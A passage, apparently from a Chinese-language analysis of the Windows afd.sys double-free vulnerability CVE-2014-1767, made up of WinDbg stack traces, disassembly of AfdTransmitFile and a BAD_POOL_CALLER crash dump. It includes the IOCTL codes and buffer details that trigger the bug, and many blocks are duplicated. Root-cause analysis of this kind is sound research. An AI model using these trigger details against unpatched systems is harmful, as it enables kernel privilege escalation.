83c43047
87610030
8913b7b8
8913b7b8
afd!AfdDispatchDeviceControl
+
0x3b
04
80e5cb14
83e199d5
890ad7c0
8913b7b8
8913b894
nt!IofCallDriver
+
0x63
05
80e5cb34
83e1bdc8
87610030
890ad7c0
00000000
nt!IopSynchronousServiceTail
+
0x1f8
06
80e5cbd0
83e22d9d
87610030
8913b7b8
00000000
nt!IopXxxControlFile
+
0x6aa
07
80e5cc04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
08
80e5cc04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
09
0051f498
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
0a
0051f49c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
0b
0051f4fc
75d2a671
00000050
0001207f
00156060
KERNELBASE!DeviceIoControl
+
0xf6
/
/
此时control code为
0x1207f
0c
0051f528
00151774
00000050
0001207f
00156060
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0d
0051f718
00151396
00000012
00220ffc
00220fec
CVE_2014_1767
+
0x1774
0e
0051f7b8
75d33c45
00000000
00000000
75d33c45
CVE_2014_1767
+
0x1396
0f
0051f7d0
778937f5
7ffde000
77c39b57
00000000
kernel32!BaseThreadInitThunk
+
0xe
10
0051f810
778937c8
001514c0
7ffde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
11
0051f828
00000000
001514c0
7ffde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
AfdTransmitFile
-
> AfdReturnTpInfo
-
> IoFreeMdl
AfdTransmitFile
-
> AfdReturnTpInfo
-
> IoFreeMdl
PAGE:
0002C840
loc_2C840: ; DATA XREF: .rdata:stru_20A38↑o
PAGE:
0002C840
; __except(loc_2C833)
/
/
owned by
2C376
PAGE:
0002C840
mov esp, [ebp
+
ms_exc.old_esp]
PAGE:
0002C843
mov [ebp
+
ms_exc.registration.TryLevel],
0FFFFFFFEh
PAGE:
0002C84A
mov ebx, [ebp
+
var_38]
PAGE:
0002C84D
PAGE:
0002C84D
loc_2C84D: ; CODE XREF: AfdTransmitFile(x,x)
+
3E
↑j
PAGE:
0002C84D
; AfdTransmitFile(x,x)
+
50
↑j ...
PAGE:
0002C84D
cmp
[ebp
+
var_19],
0
PAGE:
0002C851
jz short loc_2C8A4
PAGE:
0002C853
mov ecx, [ebp
+
var_30]
PAGE:
0002C856
xor eax, eax
PAGE:
0002C858
inc eax
PAGE:
0002C859
cmp
[ecx
+
4
], eax
PAGE:
0002C85C
jb short loc_2C8A4
PAGE:
0002C85E
cmp
byte ptr [ebx
+
20h
],
0
PAGE:
0002C862
jz short loc_2C89E
………………
PAGE:
0002C8A4
loc_2C8A4: ; CODE XREF: AfdTransmitFile(x,x)
+
533
↑j
PAGE:
0002C8A4
; AfdTransmitFile(x,x)
+
53E
↑j ...
PAGE:
0002C8A4
cmp
[ebp
+
TPInfo],
0
PAGE:
0002C8A8
jz short loc_2C8C1
PAGE:
0002C8AA
mov eax, [ebp
+
var_34]
PAGE:
0002C8AD
mov eax, [eax
+
8
]
PAGE:
0002C8B0
shr eax,
9
PAGE:
0002C8B3
and
al,
1
PAGE:
0002C8B5
movzx eax, al
PAGE:
0002C8B8
push eax ; IsFreeMemory
PAGE:
0002C8B9
push [ebp
+
TPInfo] ; Entry
PAGE:
0002C8BC
call _AfdReturnTpInfo@
8
; AfdReturnTpInfo(x,x)
PAGE:
0002C8C1
PAGE:
0002C8C1
loc_2C8C1: ; CODE XREF: AfdTransmitFile(x,x)
+
58A
↑j
PAGE:
0002C8C1
and
dword ptr [ebx
+
1Ch
],
0
PAGE:
0002C8C5
mov eax, [ebp
+
var_20]
PAGE:
0002C8C8
mov [ebx
+
18h
], eax
PAGE:
0002C8CB
xor dl, dl ; PriorityBoost
PAGE:
0002C8CD
mov ecx, ebx ; Irp
PAGE:
0002C8CF
call ds:__imp_@IofCompleteRequest@
8
; IofCompleteRequest(x,x)
PAGE:
0002C8D5
mov eax, [ebp
+
var_20]
PAGE:
0002C8D8
PAGE:
0002C8D8
loc_2C8D8: ; CODE XREF: AfdTransmitFile(x,x)
+
4F1
↑j
PAGE:
0002C8D8
call __SEH_epilog4
PAGE:
0002C8DD
retn
PAGE:
0002C840
loc_2C840: ; DATA XREF: .rdata:stru_20A38↑o
PAGE:
0002C840
; __except(loc_2C833)
/
/
owned by
2C376
PAGE:
0002C840
mov esp, [ebp
+
ms_exc.old_esp]
PAGE:
0002C843
mov [ebp
+
ms_exc.registration.TryLevel],
0FFFFFFFEh
PAGE:
0002C84A
mov ebx, [ebp
+
var_38]
PAGE:
0002C84D
PAGE:
0002C84D
loc_2C84D: ; CODE XREF: AfdTransmitFile(x,x)
+
3E
↑j
PAGE:
0002C84D
; AfdTransmitFile(x,x)
+
50
↑j ...
PAGE:
0002C84D
cmp
[ebp
+
var_19],
0
PAGE:
0002C851
jz short loc_2C8A4
PAGE:
0002C853
mov ecx, [ebp
+
var_30]
PAGE:
0002C856
xor eax, eax
PAGE:
0002C858
inc eax
PAGE:
0002C859
cmp
[ecx
+
4
], eax
PAGE:
0002C85C
jb short loc_2C8A4
PAGE:
0002C85E
cmp
byte ptr [ebx
+
20h
],
0
PAGE:
0002C862
jz short loc_2C89E
………………
PAGE:
0002C8A4
loc_2C8A4: ; CODE XREF: AfdTransmitFile(x,x)
+
533
↑j
PAGE:
0002C8A4
; AfdTransmitFile(x,x)
+
53E
↑j ...
PAGE:
0002C8A4
cmp
[ebp
+
TPInfo],
0
PAGE:
0002C8A8
jz short loc_2C8C1
PAGE:
0002C8AA
mov eax, [ebp
+
var_34]
PAGE:
0002C8AD
mov eax, [eax
+
8
]
PAGE:
0002C8B0
shr eax,
9
PAGE:
0002C8B3
and
al,
1
PAGE:
0002C8B5
movzx eax, al
PAGE:
0002C8B8
push eax ; IsFreeMemory
PAGE:
0002C8B9
push [ebp
+
TPInfo] ; Entry
PAGE:
0002C8BC
call _AfdReturnTpInfo@
8
; AfdReturnTpInfo(x,x)
PAGE:
0002C8C1
PAGE:
0002C8C1
loc_2C8C1: ; CODE XREF: AfdTransmitFile(x,x)
+
58A
↑j
PAGE:
0002C8C1
and
dword ptr [ebx
+
1Ch
],
0
PAGE:
0002C8C5
mov eax, [ebp
+
var_20]
PAGE:
0002C8C8
mov [ebx
+
18h
], eax
PAGE:
0002C8CB
xor dl, dl ; PriorityBoost
PAGE:
0002C8CD
mov ecx, ebx ; Irp
PAGE:
0002C8CF
call ds:__imp_@IofCompleteRequest@
8
; IofCompleteRequest(x,x)
PAGE:
0002C8D5
mov eax, [ebp
+
var_20]
PAGE:
0002C8D8
PAGE:
0002C8D8
loc_2C8D8: ; CODE XREF: AfdTransmitFile(x,x)
+
4F1
↑j
PAGE:
0002C8D8
call __SEH_epilog4
PAGE:
0002C8DD
retn
PAGE:
0002C376
; __try {
/
/
__except at loc_2C840
PAGE:
0002C376
mov [ebp
+
ms_exc.registration.TryLevel], ecx
PAGE:
0002C379
cmp
byte ptr [ebx
+
20h
],
0
……………………
PAGE:
0002C44B
PAGE:
0002C44B
loc_2C44B: ; CODE XREF: AfdTransmitFile(x,x)
+
127
↑j
PAGE:
0002C44B
mov edx, [ebp
+
FileInformation.Length]
PAGE:
0002C44E
test edx, edx ; Lengt !
=
0
PAGE:
0002C450
jbe short loc_2C4A3 ; no jmp
PAGE:
0002C452
mov ecx, [ebp
+
var_28]
PAGE:
0002C455
mov eax, [ecx]
PAGE:
0002C457
mov esi, eax
PAGE:
0002C459
imul esi,
18h
PAGE:
0002C45C
add esi, [edi
+
20h
]
PAGE:
0002C45F
mov [ebp
+
var_2C], esi
PAGE:
0002C462
inc eax
PAGE:
0002C463
mov [ecx], eax
PAGE:
0002C465
mov eax, [ebp
+
FileInformation.VirtualAddress]
PAGE:
0002C468
mov [esi
+
8
], eax
PAGE:
0002C46B
mov [esi
+
4
], edx
PAGE:
0002C46E
mov dword ptr [esi],
1
PAGE:
0002C474
test byte ptr [ebp
+
FileInformation.field_28],
10h
PAGE:
0002C478
jz short loc_2C4A3
PAGE:
0002C47A
mov dword ptr [esi],
80000001h
PAGE:
0002C480
push
0
; Irp
PAGE:
0002C482
push
1
; ChargeQuota
PAGE:
0002C484
push
0
; SecondaryBuffer
PAGE:
0002C486
push edx ; Length
PAGE:
0002C487
push eax ; VirtualAddress
PAGE:
0002C488
call ds:__imp__IoAllocateMdl@
20
; IoAllocateMdl(x,x,x,x,x)
/
/
此处地址即为 `寻找内存分配时机` 一节中分析得到的内存分配点(参考上文)
PAGE:
0002C48E
mov [esi
+
0Ch
], eax
PAGE:
0002C491
test eax, eax
PAGE:
0002C493
jz short loc_2C417
PAGE:
0002C495
push
0
; Operation
PAGE:
0002C497
movzx ecx, byte ptr [ebx
+
20h
]
PAGE:
0002C49B
push ecx ; AccessMode
PAGE:
0002C49C
push eax ; MemoryDescriptorList
PAGE:
0002C49D
call ds:__imp__MmProbeAndLockPages@
12
; MmProbeAndLockPages(x,x,x) <
-
-
-
此处触发异常,控制权交给异常处理代码
PAGE:
0002C4A3
……………………
PAGE:
0002C670
mov eax, [ebp
+
FileInformation.field_28]
PAGE:
0002C673
mov [ebx
+
44h
], eax
PAGE:
0002C673
; }
/
/
starts at
2C376
PAGE:
0002C376
; __try {
/
/
__except at loc_2C840
PAGE:
0002C376
mov [ebp
+
ms_exc.registration.TryLevel], ecx
PAGE:
0002C379
cmp
byte ptr [ebx
+
20h
],
0
……………………
PAGE:
0002C44B
PAGE:
0002C44B
loc_2C44B: ; CODE XREF: AfdTransmitFile(x,x)
+
127
↑j
PAGE:
0002C44B
mov edx, [ebp
+
FileInformation.Length]
PAGE:
0002C44E
test edx, edx ; Lengt !
=
0
PAGE:
0002C450
jbe short loc_2C4A3 ; no jmp
PAGE:
0002C452
mov ecx, [ebp
+
var_28]
PAGE:
0002C455
mov eax, [ecx]
PAGE:
0002C457
mov esi, eax
PAGE:
0002C459
imul esi,
18h
PAGE:
0002C45C
add esi, [edi
+
20h
]
PAGE:
0002C45F
mov [ebp
+
var_2C], esi
PAGE:
0002C462
inc eax
PAGE:
0002C463
mov [ecx], eax
PAGE:
0002C465
mov eax, [ebp
+
FileInformation.VirtualAddress]
PAGE:
0002C468
mov [esi
+
8
], eax
PAGE:
0002C46B
mov [esi
+
4
], edx
PAGE:
0002C46E
mov dword ptr [esi],
1
PAGE:
0002C474
test byte ptr [ebp
+
FileInformation.field_28],
10h
PAGE:
0002C478
jz short loc_2C4A3
PAGE:
0002C47A
mov dword ptr [esi],
80000001h
PAGE:
0002C480
push
0
; Irp
PAGE:
0002C482
push
1
; ChargeQuota
PAGE:
0002C484
push
0
; SecondaryBuffer
PAGE:
0002C486
push edx ; Length
PAGE:
0002C487
push eax ; VirtualAddress
PAGE:
0002C488
call ds:__imp__IoAllocateMdl@
20
; IoAllocateMdl(x,x,x,x,x)
/
/
此处地址即为 `寻找内存分配时机` 一节中分析得到的内存分配点(参考上文)
PAGE:
0002C48E
mov [esi
+
0Ch
], eax
PAGE:
0002C491
test eax, eax
PAGE:
0002C493
jz short loc_2C417
PAGE:
0002C495
push
0
; Operation
PAGE:
0002C497
movzx ecx, byte ptr [ebx
+
20h
]
PAGE:
0002C49B
push ecx ; AccessMode
PAGE:
0002C49C
push eax ; MemoryDescriptorList
PAGE:
0002C49D
call ds:__imp__MmProbeAndLockPages@
12
; MmProbeAndLockPages(x,x,x) <
-
-
-
此处触发异常,控制权交给异常处理代码
PAGE:
0002C4A3
……………………
PAGE:
0002C670
mov eax, [ebp
+
FileInformation.field_28]
PAGE:
0002C673
mov [ebx
+
44h
], eax
PAGE:
0002C673
; }
/
/
starts at
2C376
PMDL IoAllocateMdl(
[
in
, optional] __drv_aliasesMem PVOID VirtualAddress,
[
in
] ULONG Length,
[
in
] BOOLEAN SecondaryBuffer,
[
in
] BOOLEAN ChargeQuota,
[
in
, out, optional] PIRP Irp
);
PMDL IoAllocateMdl(
[
in
, optional] __drv_aliasesMem PVOID VirtualAddress,
[
in
] ULONG Length,
[
in
] BOOLEAN SecondaryBuffer,
[
in
] BOOLEAN ChargeQuota,
[
in
, out, optional] PIRP Irp
);
AfdReturnTpInfo
-
> IoFreeMdl
AfdReturnTpInfo
-
> IoFreeMdl
控制码(ControlCode):
0x1207f
输入缓冲区地址:
0x132606
输入缓冲区长度:
0x30
控制码(ControlCode):
0x1207f
输入缓冲区地址:
0x132606
输入缓冲区长度:
0x30
kd> g
nt!IoFreeMdl:
83c826fa
8bff
mov edi,edi
kd> kb
# ChildEBP RetAddr Args to Child
00
80e5c9ec
8e3a6eb0
8757da60
00000000
8e38989f
nt!IoFreeMdl
01
80e5ca08
8e3898ac
00000000
00000001
0ed23fa8
afd!AfdReturnTpInfo
+
0xad
02
80e5ca44
8e38abba
0ed23f00
000120c3
8e38aa8c
afd!AfdTliGetTpInfo
+
0x89
03
80e5caec
8e38f2bc
890ad7c0
87610030
80e5cb14
afd!AfdTransmitPackets
+
0x12e
04
80e5cafc
83c43047
87610030
8913b7b8
8913b7b8
afd!AfdDispatchDeviceControl
+
0x3b
05
80e5cb14
83e199d5
890ad7c0
8913b7b8
8913b894
nt!IofCallDriver
+
0x63
06
80e5cb34
83e1bdc8
87610030
890ad7c0
00000000
nt!IopSynchronousServiceTail
+
0x1f8
07
80e5cbd0
83e22d9d
87610030
8913b7b8
00000000
nt!IopXxxControlFile
+
0x6aa
08
80e5cc04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
09
80e5cc04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
0a
0051f498
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
0b
0051f49c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
0c
0051f4fc
75d2a671
00000050
000120c3
00156200
KERNELBASE!DeviceIoControl
+
0xf6
0d
0051f528
001517be
00000050
000120c3
00156200
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0e
0051f718
00151396
00000012
00220ffc
00220fec
CVE_2014_1767
+
0x17be
0f
0051f7b8
75d33c45
00000000
00000000
75d33c45
CVE_2014_1767
+
0x1396
10
0051f7d0
778937f5
7ffde000
77c39b57
00000000
kernel32!BaseThreadInitThunk
+
0xe
11
0051f810
778937c8
001514c0
7ffde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
12
0051f828
00000000
001514c0
7ffde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
kd> g
/
/
此处如果再g一次,便可以得到本文一开始的BSOD现场
*
*
*
Fatal System Error:
0x000000c2
(
0x00000007
,
0x00001097
,
0x08B50005
,
0x8757DA60
)
Break instruction exception
-
code
80000003
(first chance)
A fatal system error has occurred.
Debugger entered on first
try
; Bugcheck callbacks have
not
been invoked.
A fatal system error has occurred.
For analysis of this
file
, run !analyze
-
v
nt!RtlpBreakWithStatusInstruction:
83c6cd00
cc
int
3
kd> !analyze
-
v
/
/
通过下文的堆栈分析可以发现现场和本文一开始一致
Connected to Windows
7
7601
x86 compatible target at (Tue Mar
22
14
:
02
:
00.608
2022
(UTC
+
8
:
00
)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
.
Press ctrl
-
c (cdb, kd, ntsd)
or
ctrl
-
break
(windbg) to abort symbol loads that take too
long
.
Run !sym noisy before .
reload
to track down problems loading symbols.
.........
Loading User Symbols
................
Loading unloaded module
list
...............
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
Bugcheck Analysis
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
BAD_POOL_CALLER (c2)
The current thread
is
making a bad pool request. Typically this
is
at a bad IRQL level
or
double freeing the same allocation, etc.
Arguments:
Arg1:
00000007
, Attempt to free pool which was already freed
Arg2:
00001097
, Pool tag value
from
the pool header
Arg3:
08b50005
, Contents of the first
4
bytes of the pool header
Arg4:
8757da60
, Address of the block of pool being deallocated
Debugging Details:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
Either you specified an unqualified symbol,
or
your debugger
*
*
*
*
*
*
doesn't have full symbol information. Unqualified symbol
*
*
*
*
*
*
resolution
is
turned off by default. Please either specify a
*
*
*
*
*
*
fully qualified symbol module!symbolname,
or
enable resolution
*
*
*
*
*
*
of unqualified symbols by typing
".symopt- 100"
. Note that
*
*
*
*
*
*
enabling unqualified symbol resolution with network symbol
*
*
*
*
*
*
server shares
in
the symbol path may cause the debugger to
*
*
*
*
*
*
appear to hang
for
long
periods of time when an incorrect
*
*
*
*
*
*
symbol name
is
typed
or
the network symbol server
is
down.
*
*
*
*
*
*
*
*
*
*
*
*
For some commands to work properly, your symbol path
*
*
*
*
*
*
must point to .pdb files that have full
type
information.
*
*
*
*
*
*
*
*
*
*
*
*
Certain .pdb files (such as the public OS symbols) do
not
*
*
*
*
*
*
contain the required information. Contact the group that
*
*
*
*
*
*
provided you with these symbols
if
you need this command to
*
*
*
*
*
*
work.
*
*
*
*
*
*
*
*
*
*
*
*
Type
referenced: kernel32!gpServerNlsUserInfo
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
KEY_VALUES_STRING:
1
Key : Analysis.CPU.mSec
Value:
5296
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value:
12813
Key : Analysis.Init.CPU.mSec
Value:
7218
Key : Analysis.Init.Elapsed.mSec
Value:
127788
Key : Analysis.Memory.CommitPeak.Mb
Value:
147
Key : WER.OS.Branch
Value: win7sp1_rtm
Key : WER.OS.Timestamp
Value:
2010
-
11
-
19T18
:
50
:
00Z
Key : WER.OS.Version
Value:
7.1
.
7601.17514
BUGCHECK_CODE: c2
BUGCHECK_P1:
7
BUGCHECK_P2:
1097
BUGCHECK_P3:
8b50005
BUGCHECK_P4: ffffffff8757da60
POOL_ADDRESS:
8757da60
Nonpaged pool
FREED_POOL_TAG: Mdl_
PROCESS_NAME: CVE
-
2014
-
1767.exe
STACK_TEXT:
80e5c54c
83ce6589
00000003
611ba6c5
00000065
nt!RtlpBreakWithStatusInstruction
80e5c59c
83ce7085
00000003
8757da58
000001ff
nt!KiBugCheckDebugBreak
+
0x1c
80e5c960
83d2cc4e
000000c2
00000007
00001097
nt!KeBugCheck2
+
0x68b
80e5c9d8
83c8276a
8757da60
00000000
89107380
nt!ExFreePoolWithTag
+
0x1b2
80e5c9ec
8e3a6eb0
8757da60
00000000
8e38989f
nt!IoFreeMdl
+
0x70
80e5ca08
8e3898ac
00000000
00000001
0ed23fa8
afd!AfdReturnTpInfo
+
0xad
80e5ca44
8e38abba
0ed23f00
000120c3
8e38aa8c
afd!AfdTliGetTpInfo
+
0x89
80e5caec
8e38f2bc
890ad7c0
87610030
80e5cb14
afd!AfdTransmitPackets
+
0x12e
80e5cafc
83c43047
87610030
8913b7b8
8913b7b8
afd!AfdDispatchDeviceControl
+
0x3b
80e5cb14
83e199d5
890ad7c0
8913b7b8
8913b894
nt!IofCallDriver
+
0x63
80e5cb34
83e1bdc8
87610030
890ad7c0
00000000
nt!IopSynchronousServiceTail
+
0x1f8
80e5cbd0
83e22d9d
87610030
8913b7b8
00000000
nt!IopXxxControlFile
+
0x6aa
80e5cc04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
80e5cc04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
0051f498
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
0051f49c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
0051f4fc
75d2a671
00000050
000120c3
00156200
KERNELBASE!DeviceIoControl
+
0xf6
/
/
此时control code为
0x120c3
0051f528
001517be
00000050
000120c3
00156200
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0051f718
00151396
00000012
00220ffc
00220fec
CVE_2014_1767
+
0x17be
0051f7b8
75d33c45
00000000
00000000
75d33c45
CVE_2014_1767
+
0x1396
0051f7d0
778937f5
7ffde000
77c39b57
00000000
kernel32!BaseThreadInitThunk
+
0xe
0051f810
778937c8
001514c0
7ffde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
0051f828
00000000
001514c0
7ffde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
SYMBOL_NAME: afd!AfdReturnTpInfo
+
ad
MODULE_NAME: afd
IMAGE_NAME: afd.sys
STACK_COMMAND: .thread ; .cxr ; kb
FAILURE_BUCKET_ID:
0xc2_7_Mdl__afd
!AfdReturnTpInfo
+
ad
OS_VERSION:
7.1
.
7601.17514
BUILDLAB_STR: win7sp1_rtm
OSPLATFORM_TYPE: x86
OSNAME: Windows
7
FAILURE_ID_HASH: {
7fe1e721
-
1d80
-
7be3
-
9354
-
8d3b5b5ab1ef
}
Followup: MachineOwner
-
-
-
-
-
-
-
-
-
kd> g
nt!IoFreeMdl:
83c826fa
8bff
mov edi,edi
kd> kb
# ChildEBP RetAddr Args to Child
00
80e5c9ec
8e3a6eb0
8757da60
00000000
8e38989f
nt!IoFreeMdl
01
80e5ca08
8e3898ac
00000000
00000001
0ed23fa8
afd!AfdReturnTpInfo
+
0xad
02
80e5ca44
8e38abba
0ed23f00
000120c3
8e38aa8c
afd!AfdTliGetTpInfo
+
0x89
03
80e5caec
8e38f2bc
890ad7c0
87610030
80e5cb14
afd!AfdTransmitPackets
+
0x12e
04
80e5cafc
83c43047
87610030
8913b7b8
8913b7b8
afd!AfdDispatchDeviceControl
+
0x3b
05
80e5cb14
83e199d5
890ad7c0
8913b7b8
8913b894
nt!IofCallDriver
+
0x63
06
80e5cb34
83e1bdc8
87610030
890ad7c0
00000000
nt!IopSynchronousServiceTail
+
0x1f8
07
80e5cbd0
83e22d9d
87610030
8913b7b8
00000000
nt!IopXxxControlFile
+
0x6aa
08
80e5cc04
83c4987a
00000050
00000000
00000000
nt!NtDeviceIoControlFile
+
0x2a
<Intermediate frames may have been skipped due to lack of complete unwind>
09
80e5cc04
778770b4
(T)
00000050
00000000
00000000
nt!KiFastCallEntry
+
0x12a
<Intermediate frames may have been skipped due to lack of complete unwind>
0a
0051f498
77875864
(T)
75a0989d
00000050
00000000
ntdll!KiFastSystemCallRet
0b
0051f49c
75a0989d
00000050
00000000
00000000
ntdll!ZwDeviceIoControlFile
+
0xc
0c
0051f4fc
75d2a671
00000050
000120c3
00156200
KERNELBASE!DeviceIoControl
+
0xf6
0d
0051f528
001517be
00000050
000120c3
00156200
kernel32!DeviceIoControlImplementation
+
0x80
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0e
0051f718
00151396
00000012
00220ffc
00220fec
CVE_2014_1767
+
0x17be
0f
0051f7b8
75d33c45
00000000
00000000
75d33c45
CVE_2014_1767
+
0x1396
10
0051f7d0
778937f5
7ffde000
77c39b57
00000000
kernel32!BaseThreadInitThunk
+
0xe
11
0051f810
778937c8
001514c0
7ffde000
00000000
ntdll!__RtlUserThreadStart
+
0x70
12
0051f828
00000000
001514c0
7ffde000
00000000
ntdll!_RtlUserThreadStart
+
0x1b
kd> g
/
/
此处如果再g一次,便可以得到本文一开始的BSOD现场
*
*
*
Fatal System Error:
0x000000c2
(
0x00000007
,
0x00001097
,
0x08B50005
,
0x8757DA60
)
Break instruction exception
-
code
80000003
(first chance)
A fatal system error has occurred.
Debugger entered on first
try
; Bugcheck callbacks have
not
been invoked.
A fatal system error has occurred.
For analysis of this
file
, run !analyze
-
v
nt!RtlpBreakWithStatusInstruction:
83c6cd00
cc
int
3
kd> !analyze
-
v
/
/
通过下文的堆栈分析可以发现现场和本文一开始一致
Connected to Windows
7
7601
x86 compatible target at (Tue Mar
22
14
:
02
:
00.608
2022
(UTC
+
8
:
00
)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
.
Press ctrl
-
c (cdb, kd, ntsd)
or
ctrl
-
break
(windbg) to abort symbol loads that take too
long
.
Run !sym noisy before .
reload
to track down problems loading symbols.
.........
Loading User Symbols
................
Loading unloaded module
list
...............
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
Bugcheck Analysis
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
BAD_POOL_CALLER (c2)
The current thread
is
making a bad pool request. Typically this
is
at a bad IRQL level
or
double freeing the same allocation, etc.
Arguments:
Arg1:
00000007
, Attempt to free pool which was already freed
Arg2:
00001097
, Pool tag value
from
the pool header
Arg3:
08b50005
, Contents of the first
4
bytes of the pool header
Arg4:
8757da60
, Address of the block of pool being deallocated
Debugging Details:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
Either you specified an unqualified symbol,
or
your debugger
*
*
*
*
*
*
doesn't have full symbol information. Unqualified symbol
*
*
*
*
*
*
resolution
is
turned off by default. Please either specify a
*
*
*
*
*
*
fully qualified symbol module!symbolname,
or
enable resolution
*
*
*
*
*
*
of unqualified symbols by typing
".symopt- 100"
. Note that
*
*
*
*
*
*
enabling unqualified symbol resolution with network symbol
*
*
*
*
*
*
server shares
in
the symbol path may cause the debugger to
*
*
*
*
*
*
appear to hang
for
long
periods of time when an incorrect
*
*
*
*
*
*
symbol name
is
typed
or
the network symbol server
is
down.
*
*
*
*
*
*
*
*
*
*
*
*
For some commands to work properly, your symbol path
*
*
*
*
*
*
must point to .pdb files that have full
type
information.
*
*
*
*
*
*
*
*
*
*
*
*
Certain .pdb files (such as the public OS symbols) do
not
*
*
*
*
*
*
contain the required information. Contact the group that
*
*
*
*
*
*
provided you with these symbols
if
you need this command to
*
*
*
*
*
*
work.
*
*
*
*
*
*
*
*
*
*
*
*
Type
referenced: kernel32!gpServerNlsUserInfo
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
KEY_VALUES_STRING:
1
Key : Analysis.CPU.mSec
Value:
5296
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value:
12813
Key : Analysis.Init.CPU.mSec
Value:
7218
Key : Analysis.Init.Elapsed.mSec
Value:
127788
Key : Analysis.Memory.CommitPeak.Mb
Value:
147
Key : WER.OS.Branch
Value: win7sp1_rtm
Key : WER.OS.Timestamp
Value:
2010
-
11
-
19T18
:
50
:
00Z
Key : WER.OS.Version
Value:
7.1
.
7601.17514
BUGCHECK_CODE: c2
BUGCHECK_P1:
7
BUGCHECK_P2:
1097
BUGCHECK_P3:
8b50005
BUGCHECK_P4: ffffffff8757da60
POOL_ADDRESS:
8757da60
Nonpaged pool
FREED_POOL_TAG: Mdl_
PROCESS_NAME: CVE
-
2014
-
1767.exe
STACK_TEXT:
80e5c54c
83ce6589
00000003
611ba6c5
00000065
nt!RtlpBreakWithStatusInstruction
80e5c59c
83ce7085
00000003
8757da58
000001ff
nt!KiBugCheckDebugBreak
+
0x1c
80e5c960
83d2cc4e
000000c2
00000007
00001097
nt!KeBugCheck2
+
0x68b
80e5c9d8
83c8276a
8757da60
00000000
89107380
nt!ExFreePoolWithTag
+
0x1b2
80e5c9ec
8e3a6eb0
8757da60
